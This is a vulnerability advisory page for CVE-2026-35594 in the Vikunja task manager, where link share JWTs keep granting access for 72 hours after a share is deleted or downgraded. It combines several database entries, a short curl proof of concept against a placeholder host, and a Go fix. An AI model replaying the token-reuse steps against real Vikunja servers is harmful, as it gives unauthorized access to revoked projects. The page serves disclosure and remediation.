6.5medium
Vikunja Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade
- Severity
- 6.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.32% (higher than 27% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-96q5-xm3p-7m84GO-2026-5276
Description
Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, Vikunja's link share authentication (GetLinkShareFromClaims in pkg/models/link_sharing.go) constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl). This vulnerability is fixed in 2.3.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| go-vikunja vikunja | < 2.3.0 | CVE List |
| code.vikunja.io/api (Go) | before 2.3.0, all versions | GitHub Advisory Database, Go Vulnerability Database |
| vikunja vikunja | before 2.3.0 | NVD |
All scores
| GitHub_M | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, Vikunja's link share authentication (GetLinkShareFromClaims in pkg/models/link_sharing.go) constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl). This vulnerability is fixed in 2.3.0.
GitHub Advisory Database
Title
Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade
Description
Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).
GetLinkShareFromClaims at pkg/models/link_sharing.go lines 88-119 performs zero database queries — it builds the LinkSharing struct purely from JWT claim values (id, hash, project_id, permission, sharedByID). This struct is passed directly to permission checks:
| Function | File | Lines | DB queries |
|---|---|---|---|
GetLinkShareFromClaims | link_sharing.go | 88-119 | 0 |
Project.CanRead (link share) | project_permissions.go | 105-108 | 0 |
Project.CanWrite (link share) | project_permissions.go | 50-53 | 0 |
Project.IsAdmin (link share) | project_permissions.go | 192-194 | 0 |
Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.
Permalink:
GetLinkShareFromClaims:pkg/models/link_sharing.go:88-119NewLinkShareJWTAuthtoken:pkg/modules/auth/auth.go:141-160- Permission checks:
pkg/models/project_permissions.go:50-53, 105-108, 192-194 - TTL defaults:
pkg/config/config.go:337-339
PoC
# 1. Create an Admin-level link share on project 42
curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \
-H "Authorization: Bearer <owner-jwt>" \
-H "Content-Type: application/json" \
-d '{"permission": 2}'
# Response: {"id": 5, "hash": "abc123", ...}
# 2. Obtain link share JWT (72h TTL, no sid claim)
curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth"
# Response: {"token": "<link-share-jwt>"}
# 3. Delete the link share
curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \
-H "Authorization: Bearer <owner-jwt>"
# 200 OK — share row removed from database
# 4. Use the deleted share's JWT — STILL WORKS for up to 72 hours
curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \
-H "Authorization: Bearer <link-share-jwt>"
# 200 OK — full task list returned with Admin permissions
# 5. Permission downgrade variant:
# Delete Admin share → create Read-only share → old JWT still has Admin access
Impact
- Revoked link shares remain functional for up to 72 hours (default TTL)
- Project owners cannot respond to security events (leaked URLs, access revocation) in real time
- Permission downgrades have no effect on outstanding tokens
- Scope: single project per token, severity scales with permission level (Admin > Write > Read)
Fix
Add database validation in GetLinkShareFromClaims:
func GetLinkShareFromClaims(claims jwt.MapClaims) (share *LinkSharing, err error) {
id, is := claims["id"].(float64)
if !is {
return nil, &ErrLinkShareTokenInvalid{}
}
// Validate against database
s := db.NewSession()
defer s.Close()
share, err = GetLinkShareByID(s, int64(id))
if err != nil {
return nil, err // Share was deleted
}
// Verify permission not downgraded
claimedPermission := Permission(claims["permission"].(float64))
if share.Permission < claimedPermission {
return nil, &ErrLinkShareTokenInvalid{}
}
return share, nil
}
Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.
Go Vulnerability Database
Vikunja: Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade in code.vikunja.io/api.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.
NVD (es)
Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de 2.3.0, la autenticación de enlaces compartidos de Vikunja (GetLinkShareFromClaims en pkg/models/link_sharing.go) construye objetos de autorización completamente a partir de las claims de JWT sin ninguna validación de base de datos del lado del servidor. Cuando el propietario de un proyecto elimina un enlace compartido o degrada sus permisos, todos los JWT emitidos previamente continúan otorgando el nivel de permiso original por hasta 72 horas (el service.jwtttl predeterminado). Esta vulnerabilidad se corrige en 2.3.0.
References
| https://github.com/go-vikunja/vikunja/security/advisories/GHSA-96q5-xm3p-7m84 | advisory, exploit, vendor-advisory, web | |
| https://github.com/go-vikunja/vikunja/pull/2581 | issue-tracking, web | |
| https://github.com/go-vikunja/vikunja/commit/379d8a5c19334ffe4846003f590e202c31a75479 | patch, web | |
| https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-35594 | advisory | |
| https://github.com/go-vikunja/vikunja | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-35594 changed 2026-04-14 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-96q5-xm3p-7m84 changed 2026-07-21 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5276 changed 2026-06-25 | CC-BY-4.0 |
| NVD | CVE-2026-35594 changed 2026-10-26 | Public domain |